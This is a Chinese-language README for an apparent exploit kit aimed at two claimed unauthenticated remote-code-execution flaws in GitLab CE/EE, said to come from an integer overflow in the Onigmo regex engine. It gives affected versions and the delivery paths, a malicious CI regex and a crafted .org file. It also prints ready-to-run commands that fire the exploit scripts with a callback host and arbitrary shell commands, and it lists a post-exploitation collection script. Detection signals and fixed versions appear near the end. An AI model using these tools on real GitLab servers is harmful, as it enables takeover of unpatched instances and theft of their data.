CVE-2026-97229 + CVE-2026-110264 — GitLab CE/EE 中通过 Onigmo 正则引擎整数溢出导致的两个严重(CVSS 10.0)未认证 RCE 漏洞。
仅限授权测试。 每个目标必须归你所有,或已获得书面授权。
| CVE | 攻击向量 | 受影响版本 | 触发方式 | 是否需要认证 |
|---|---|---|---|---|
| CVE-2026-97229 | CI/CD 正则编译器 | 19.2.0–19.4.1 | GET /api/v4/projects/:id/ci/lint | 未认证触发(配置需要写权限) |
| CVE-2026-110264 | Org-mode .org 渲染 | 7.0–19.5.0 | 渲染特制的 .org 文件 | 无需账户 |
两个 CVE 利用的是同一根本原因:Onigmo 正则引擎整数溢出 → 越界写入 → VM 劫持 → system()。区别在于投递路径:
.gitlab-ci.yml 中 rules:exists:regexp 的恶意正则 → CI lint API.org 文件中恶意的 #+TODO: 关键字 → Org-mode 渲染器# CVE-2026-97229 — CI lint 路径
python3 exploit/cve97229.py --url http://target:8080 \
--token glpat-xxx --callback-host YOUR_IP \
--command 'id; hostname' --authorized --scope scope.txt
# CVE-2026-110264 — Org-mode 路径(无需认证!)
python3 exploit/cve110264.py --url http://target:8080 \
--callback-host YOUR_IP --command 'id'
# 仅探测(不利用)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only
exploit/
├── cve97229.py # CI lint 正则 RCE (CVE-2026-97229)
├── cve110264.py # Org-mode 渲染 RCE (CVE-2026-110264)
├── layout.py # libruby.so 偏移推导
├── common.py # 共享 Onigmo payload + 回调服务器
└── post/
└── collect.sh # 后渗透信息收集
lab/
├── run.sh # Docker 实验环境启动器
└── stop.sh # 实验环境清理
docs/
├── CVE-2026-97229.md # 技术分析
└── CVE-2026-110264.md # 技术分析
两个 CVE 的三重信号:
[BUG] Segmentation fault,伴随 org-ruby 或 regexp_matcher.rb 栈帧badgateway: failed to receive response: EOF(?#) 分割量词、[[:word:]] 重复、4 字节 UTF-8 路径| CVE | 修复版本 |
|---|---|
| CVE-2026-97229 | 19.2.8, 19.3.5, 19.4.2 |
| CVE-2026-110264 | 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1 |
MIT — 仅限授权安全测试使用。